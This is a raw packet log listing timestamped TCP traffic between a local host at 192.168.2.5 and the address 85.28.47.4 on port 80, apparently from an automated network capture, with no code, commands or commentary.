Jun 27, 2024 19:26:00.898782015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898817062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898829937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898850918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898864031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898885965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898900986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898921013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898932934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898955107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898968935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899002075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899449110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899482965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899517059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899525881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899549961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899553061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899553061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899585009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899591923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899620056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899648905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899652958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899657965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899688005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899694920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899724007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899730921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899759054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899765015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899792910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899801016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899827957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899836063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899862051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899892092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899895906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.899934053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.899971962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.900228024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.900262117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.900274992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.900304079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982042074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982084036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982109070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982135057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982144117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982180119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982189894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982225895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982240915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982261896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982278109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982296944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982307911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982333899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982355118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982378006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982429028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982475042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982476950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982527018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982595921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982629061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982656956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982672930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982687950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982721090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982726097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982758045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982764959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982790947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982801914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982837915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982876062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982908964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982939959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982942104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982960939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.982978106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.982984066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983020067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983150005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983184099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983201981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983218908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983226061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983256102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983266115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983289957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983306885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983325005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983335972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983361006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983383894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983396053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983402967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983443975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983659029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983691931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983711004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983726978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983751059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983763933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983787060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983803034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983818054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983839989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983859062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983875036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983889103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983911037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.983918905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.983959913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984285116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984318018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984337091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984350920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984360933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984385967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984399080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984421968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984437943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984457970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984464884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984510899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984523058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984548092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984558105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984584093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984592915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984639883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984767914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984800100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984814882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984837055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984863043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984870911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984880924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984905005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984920025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984941006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984968901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.984975100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.984991074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985011101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985018015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985044956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985078096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985083103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985104084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985115051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985124111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985148907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985158920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985184908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985198021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985215902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985239983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985249996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985289097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985306025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985697031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985733986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985749960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985769033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985789061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985802889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985815048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985837936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985851049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985872984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985888958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985904932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985929966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985938072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985950947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.985974073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.985989094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986011982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986028910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986047983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986063004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986082077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986109972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986110926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986135006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986145973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986165047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986180067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986186028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986215115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986221075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986249924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986258984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986295938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986582994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986625910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986640930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986660004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986670971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986695051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986706018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986725092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986740112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986758947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986778021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986792088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986824989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986831903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986854076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986860991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986875057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986896038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986912012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986931086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986936092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986960888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.986979961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.986995935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987016916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987030983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987059116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987066984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987080097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987102985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987114906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987138033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987152100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987189054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987622976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987657070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987679958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987690926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987725973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987725973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987749100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987761021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987772942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987797022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987807989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987831116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987839937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987865925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987874985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987900972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987916946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987936974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987950087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.987970114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.987984896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988004923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988014936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988039017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988051891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988073111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988085032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988109112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988123894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988143921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988157988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988198042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988306046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988339901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988354921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988374949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988393068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988409996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988419056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988449097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988461018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988503933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988524914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988542080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.988547087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.988590002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070466042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070535898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070552111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070573092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070581913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070620060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070627928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070663929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070677996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070698023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070712090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070734024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070750952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070780993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070887089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070920944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070930958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.070974112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.070986986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071010113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071023941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071058989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071127892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071163893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071190119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071198940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071212053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071247101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071268082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071299076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071326971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071348906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071352959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071388006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071404934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071440935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071449041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071477890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071494102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071532011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071547985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071597099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071772099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071801901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071829081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071835041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071847916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071868896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071881056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071902990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071922064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071937084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071942091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.071969032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.071983099 CEST	49705	80	192.168.2.5	85.28.47.4
